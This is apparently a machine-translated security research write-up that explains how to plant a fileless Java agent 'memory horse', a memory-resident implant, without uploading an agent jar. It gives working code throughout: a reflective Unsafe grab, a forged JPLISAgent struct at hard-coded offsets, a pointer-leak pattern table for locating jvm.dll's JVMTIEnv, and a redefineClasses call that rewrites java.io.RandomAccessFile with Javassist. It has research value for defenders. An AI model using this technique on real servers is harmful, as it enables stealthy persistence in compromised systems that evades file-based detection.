No file landing Agent memory horse implantation
feasibility analysis
Using jsp writing or code execution vulnerabilities, such as deserialization, does not need to upload agent
Principle and practice of Java dynamic debugging technology - meituan technical team (meituan.com)
First, let's take a look at the passage Agent Process of dynamically modifying classes:
1.On client and target JVM establish IPC After connecting, the client will encapsulate a to load agent.jar of AttachOperation Object, which contains three key data: actioName,libName and agentPath; 2.Server received AttachOperation After the call enqueue Press in AttachOperation Queue waiting for processing; 3.Server processing thread call dequeue Method take out AttachOperation; 4.Server side analysis AttachOperation,Extract the three parameters mentioned in step 1 and call actionName by load The corresponding processing branch of, and then load libinstrument.so(stay windows Platform is instrument.dll),implement AttachOperation of On_Attach Function (as you can see, Java Layered instrument Mechanism, the bottom layer is through Native Layered Instrument To encapsulate); 5.libinstrument.so Medium On_Attach Can resolve agentPath Specified in jar File, this jar Called in redefineClass The function of; 6.Execution flow to Java Layer, JVM Will instantiate a InstrumentationImpl Class. When this class is constructed, it has a very important parameter mNativeAgent:
This parameter is long Type whose value is a Native A pointer to a layer that points to a C++object JPLISAgent. 7.InstrumentationImpl After instantiation, continue calling InstrumentationImpl Class redefineClasses Method and continue calling after a little verification InstrumentationImpl of Native method redefineClasses0 8.The execution flow continues to enter Native Layer:
The above is the original text of the topic. Explain your understanding
We drop the breakpoint at the agentmain on the server side. We can find that the call stack on the server side starts from the InstrumentationImpl class. This is the sixth step in the original text, and the previous steps are the operations of the client or native layer. Therefore, in the java layer, we can construct malicious code directly from the InstrumentationImpl class.
In this way, the InstrumentationImpl class should be constructed first. Take a look at the constructor. Combined with the information generated by debug before, it is found that var3=true and var4=false. All that needs to be constructed is var1, that is, mnateagent. This parameter is of long type, and its value is a pointer to the native layer, pointing to a C + + object JPLISAgent. It shows that we need to construct a suitable C + + object JPLISAgent in the native layer.
private InstrumentationImpl(long var1, boolean var3, boolean var4) { this.mNativeAgent = var1;//This parameter this.mEnvironmentSupportsRedefineClasses = var3; this.mEnvironmentSupportsRetransformClassesKnown = false; this.mEnvironmentSupportsRetransformClasses = false; this.mEnvironmentSupportsNativeMethodPrefix = var4; }
Build JPLISAgent
native memory operation
https://xz.aliyun.com/t/10186#toc-1
To create objects in the native layer, we must operate on native memory, that is, off heap memory. You can use directByteBuffer. Take a look at the implementation of directByteBuffer. It mainly encapsulates unsafe. The main memory operation is to call unsafe. Therefore, using unsafe can also realize memory allocation.
DirectByteBuffer(int cap) { // package-private super(-1, 0, cap, cap); boolean pa = VM.isDirectMemoryPageAligned(); //Page alignment int ps = Bits.pageSize(); //Get pageSize size long size = Math.max(1L, (long) cap + (pa ? ps : 0)); //If it is page aligned, add the size of one page Bits.reserveMemory(size, cap); //Make a record of the allocated direct memory long base = 0; try { base = unsafe.allocateMemory(size); //Actual allocated memory } catch (OutOfMemoryError x) { Bits.unreserveMemory(size, cap); throw x; } unsafe.setMemory(base, size, (byte) 0); //Initialize memory //Calculate address if (pa && (base % ps != 0)) { // Round up to page boundary address = base + ps - (base & (ps - 1)); } else { address = base; } //Generate Cleaner cleaner = Cleaner.create(this, new Deallocator(base, size, cap)); att = null; }
Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) { throw new AssertionError(e);}
Analyze JPLISAgent structure
struct _JPLISAgent { JavaVM * mJVM; /* handle to the JVM */ JPLISEnvironment mNormalEnvironment; /* for every thing but retransform stuff */ JPLISEnvironment mRetransformEnvironment;/* for retransform stuff only */ jobject mInstrumentationImpl; /* handle to the Instrumentation instance */ jmethodID mPremainCaller; /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */ jmethodID mAgentmainCaller; /* method on the InstrumentationImpl for agents loaded via attach mechanism */ jmethodID mTransform; /* method on the InstrumentationImpl that does the class file transform */ jboolean mRedefineAvailable; /* cached answer to "does this agent support redefine" */ jboolean mRedefineAdded; /* indicates if can_redefine_classes capability has been added */ jboolean mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */ jboolean mNativeMethodPrefixAdded; /* indicates if can_set_native_method_prefix capability has been added */ char const * mAgentClassName; /* agent class name */ char const * mOptionsString; /* -javaagent options string */ };
The structure of JPLISAgent is complex, so let's start with redefinclass to see which parameters need to be.
void redefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) { jvmtiEnv* jvmtienv = jvmti(agent); jboolean errorOccurred = JNI_FALSE; jclass classDefClass = NULL; jmethodID getDefinitionClassMethodID = NULL; jmethodID getDefinitionClassFileMethodID = NULL; jvmtiClassDefinition* classDefs = NULL; jbyteArray* targetFiles = NULL; jsize numDefs = 0; ...
It can be seen from the usage here that JVM ti is a macro or function. A search shows that it is a macro
It can be determined that redefiniteclass requires the mNormalEnvironment parameter.
Let's look at the structure of this parameter.
struct _JPLISEnvironment { jvmtiEnv * mJVMTIEnv; /* the JVM TI environment */ JPLISAgent * mAgent; /* corresponding agent */ jboolean mIsRetransformer; /* indicates if special environment */ };
You can see that there is a loopback pointer mAgent in this structure, which points to the JPLISAgent object. In addition, there is the most important pointer mJVMTIEnv, which points to the JVMTIEnv object in memory, which is the core object of the JVMTI mechanism. In addition, after analysis, there is another mredefiniteavailable member in the JPLISAgent object, which must be set to true.
Locate JVMTIEnv
Here, master rebeyond uses the dynamic debugging method. I don't know much. I don't know how to locate the JPLISAgent address.
So reference https://xz.aliyun.com/t/10186#toc -Technology in 3
Thought arrangement: Master Youwang's article https://xz.aliyun.com/t/10186#toc-3
adopt
JNI_GetCreatedJavaVMs(&vm, 1, &count);
Get the vm object, and then
vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);
Get_ jvmti_env.
The above codes are all methods in java Native libjava.so. Locate the export function you want to replace through elf export symbol, and modify the memory to complete the call of native layer.
Personal windows implementation idea (not implemented)
With the previous process injection, execute any native code, GetModuleHandle gets the address of jvm.dll, and then rebeyond master tests that the JVMTIEnv object exists in the address space of JVM module, and the offset is fixed. Then we try to write another JNI sequence, and then call it.
vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);
Get_ jvmti_ The offset can be obtained by comparing the env address with the address of jvm.dll.
jni program c code
#include "pch.h" #include "getAgent.h" #include"getJPSAgent.h" #include "jvmti.h" JNIEXPORT void JNICALL Java_getJPSAgent_caloffset (JNIEnv*, jobject) { struct JavaVM_* vm; jsize count; typedef jint(JNICALL* GetCreatedJavaVMs)(JavaVM**, jsize, jsize*); //Originally, I wanted to call the GetCreatedJavaVMs function directly, but the specific header file is missing, so only typedef can define another function with the same structure GetCreatedJavaVMs jni_GetCreatedJavaVMs; // ... jni_GetCreatedJavaVMs = (GetCreatedJavaVMs)GetProcAddress(GetModuleHandle( TEXT("jvm.dll")), "JNI_GetCreatedJavaVMs"); //Since jvm.dll has been loaded at the beginning of the java program, you can directly obtain the JNI in the DLL_ Address of getcreatedjavavms jni_GetCreatedJavaVMs(&vm, 1, &count);//Gets the address of the jvm object struct jvmtiEnv_* _jvmti_env; HMODULE jvm = GetModuleHandle(L"jvm.dll");//Get jvm base address vm->functions->GetEnv(vm, (void**)&_jvmti_env, JVMTI_VERSION_1_2);//Get_ jvmti_ The address of Env, that is, the pointer to the JVMTIEnv pointer. printf(" hModule jvm = 0x%llx\n", jvm); printf(" struct JavaVM_* vm = 0x%llx\n", vm); printf(" _jvmti_env = 0x%llx\n", _jvmti_env); ; }
Then use x64dbg attach process to view_ jvmti_ The green line indicates the address of JVMTIEnv
Multiple calculations can discover this java version of the JVM ti_ Env has a fixed offset of 0x9D6760 from the jvm.dll base address.
At this time, the problem of JVM base address needs to be solved. Due to aslr, the JVM base address is not fixed. There are two methods: one is to obtain the JVM base address for the disclosure of technical information introduced by master rebeyond, and the other is to try to execute any native code with the previous process injection, and GetModuleHandle to obtain the address of jvm.dll. (never tried)
Get JVM base address for information disclosure
Master rebeyond's idea here is to use unsafe to allocate a small piece of memory and print its address. In this way, you can directly locate this memory during dynamic debugging. There are some suspicious pointers around this memory space. Check that there is a pointer directly to the base address of jvm.dll.
Write the following code:
long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
The output is as follows:
Locate to address 0x20F03026430:
It can be seen that there are many pointers in the front and back. The green pointers point to the address space of the jvm:
Because these pointers are not fixed, each debugging will have different results, but they are pseudo-random and have certain rules. Therefore, master rebeyond used the statistical method to write a program to repeatedly collect the corresponding data, and collected the last two bits of the pointer address, the last two bits of the content pointed to by the pointer, and the offset between the pointer and the jvm.dll base address into a table. When judging the base address later, judge whether the pointer is valid through the first two items, and determine the base address of jvm.dll through the offset.
String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'"; //patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'";//for windows_java8_301_x64 // patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64 long jvmtiOffset=0x79a220; //for java_8_271_x64 fixed relative base address // jvmtiOffset=0x78a280; //for windows_java_8_301_x64 // jvmtiOffset=0xf9c520; //for linux_java_8_301_x64 List<Map<String, String>> patternList = new ArrayList<Map<String, String>>(); for (String pair : patterns.split(",")) { String offset = pair.split(":")[0].replace("'", "").trim(); String value = pair.split(":")[1].replace("'", "").trim(); String delta = pair.split(":")[2].replace("'", "").trim(); Map pattern = new HashMap<String, String>(); pattern.put("offset", offset); pattern.put("value", value); pattern.put("delta", delta); patternList.add(pattern); } //Build offset, value and delta corresponding to different versions of jdk int offset = 8; int targetHexLength=8; //on linux,change it to 12. for (int j = 0; j < 0x2000; j++) //down search { for (int x : new int[]{-1, 1}) { long target = unsafe.getAddress(allocateMemory + j * x * offset);//Get the contents before and after allocateMemory String targetHex = Long.toHexString(target);//Converts the destination address to a hexadecimal string if (target % 8 > 0 || targetHex.length() != targetHexLength) {//See whether the target address is a multiple of 8 and whether its content is 8 bits continue; } if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) { continue; } System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j); for (Map<String, String> patternMap : patternList) {//After the above conditions are met, further match the contents in the MapList targetHex = Long.toHexString(target); if (targetHex.endsWith(patternMap.get("offset"))) {//Match offset first String targetValueHex = Long.toHexString(unsafe.getAddress(target)); System.out.println("[!]bingo."); if (targetValueHex.endsWith(patternMap.get("value"))) {//Rematch value System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j); System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16)));//The base address is obtained by subtracting the offset from the target address System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset));//The base address plus jvmtiOffset is jvmti object addr, that is, mJVMTIEnv long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30; long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset; long agentAddress = getAgent(jvmtiAddress); System.out.println("agentAddress:" + Long.toHexString(agentAddress)); Bird bird = new Bird(); bird.sayHello(); doAgent(agentAddress); //doAgent(Long.parseLong(address)); bird.sayHello(); return; }
Start assembly
Master rebeyond's assembly code. Some parameters here are not well understood. Use the following reflection construction method
private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr = unsafe.allocateMemory(0x200); long jvmtiStackAddr = unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr, jvmtiAddress); unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel); unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l); System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168)); unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0); unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x10, agentAddr); unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l); //make retransform env unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x28, agentAddr); unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l); unsafe.putLong(agentAddr + 0x38, 0); unsafe.putLong(agentAddr + 0x40, 0); unsafe.putLong(agentAddr + 0x48, 0); unsafe.putLong(agentAddr + 0x50, 0); unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l); unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68); unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l); return agentAddr; }
Current thinking:
First use JNI to get native_jvmtienv
Use reflection to construct sun.instrument.InstrumentationImpl object
Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) { throw new AssertionError(e);} long JPLISAgent = unsafe.allocateMemory(0x1000); unsafe.putLong(JPLISAgent + 8, native_jvmtienv); unsafe.putByte(native_jvmtienv + 361, (byte) 2); Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); constructor.setAccessible(true); Object insn = constructor.newInstance(JPLISAgent, true, false);
Then you can use the addtransformer method and so on.
Now the addtransformer method encounters a problem and throws an exception. The main reason is that there is a judgment on whether to retransform.
This can be solved by changing the value of the purple field through reflection, but exceptions will still be reported in the setHasRetransformableTransformers method.
Therefore, the method of changing class through retransform is discarded.
We use redefineClazz to redefine the class to implement the change.
Core code
Use javaassist to change the class and call redefinclasses to replace the class. Change the code of getFD method in java.io.RandomAccessFile class
public void redefine(Object insn,Class instrument_clazz) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { ClassPool pool = ClassPool.getDefault(); CtClass string_clazz = null; string_clazz = pool.get("java.io.RandomAccessFile"); CtMethod method_getname = string_clazz.getDeclaredMethod("getFD"); method_getname.insertBefore("System.out.println(\"hi, from java instrucment api\");"); //CtClass ctClass = pool.makeClass(new FileInputStream("D: \ \ memory horse \ \ Java agent \ \ java.io.randomaccessfile. TXT \ \ Java \ \ IO \ \ RandomAccessFile. Class")// Get ctclass object byte[] bytes = ctClass.toBytecode();//Take out its bytecode ClassDefinition definition = new ClassDefinition(Class.forName("java.io.RandomAccessFile"), bytes);//Reconstruct the java.io.RandomAccessFile with bytecode as a parameter Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);//Reflection calls redefiniteclass redefineClazz.invoke(insn, new Object[] { new ClassDefinition[] { definition } }); }
So far, the file free agent memory horse has been basically completed.
Finally, let's sort out the implementation ideas.
- First, to implement the file free agent memory horse, we need to construct the sun.instrument.InstrumentationImpl object
- This constructor requires mnativeagent parameter, which requires us to locate JVMTIEnv. The offset between JVMTIEnv and the JVM base address is fixed. Therefore, we determine the JVM base address. Here, we use master rebeyond's information disclosure to obtain the JVM base address.
- After obtaining the JVMTIEnv, you need to use the unsafe method to create a JPLISAgent pointer in the native layer, and store the JVMTIEnv at the + 8 offset.
- Use reflection to construct sun.instrument.InstrumentationImpl object and call related methods
- Change the bytecode of the required class in conjunction with javaassist, and call redefineClasses to implement class replacement.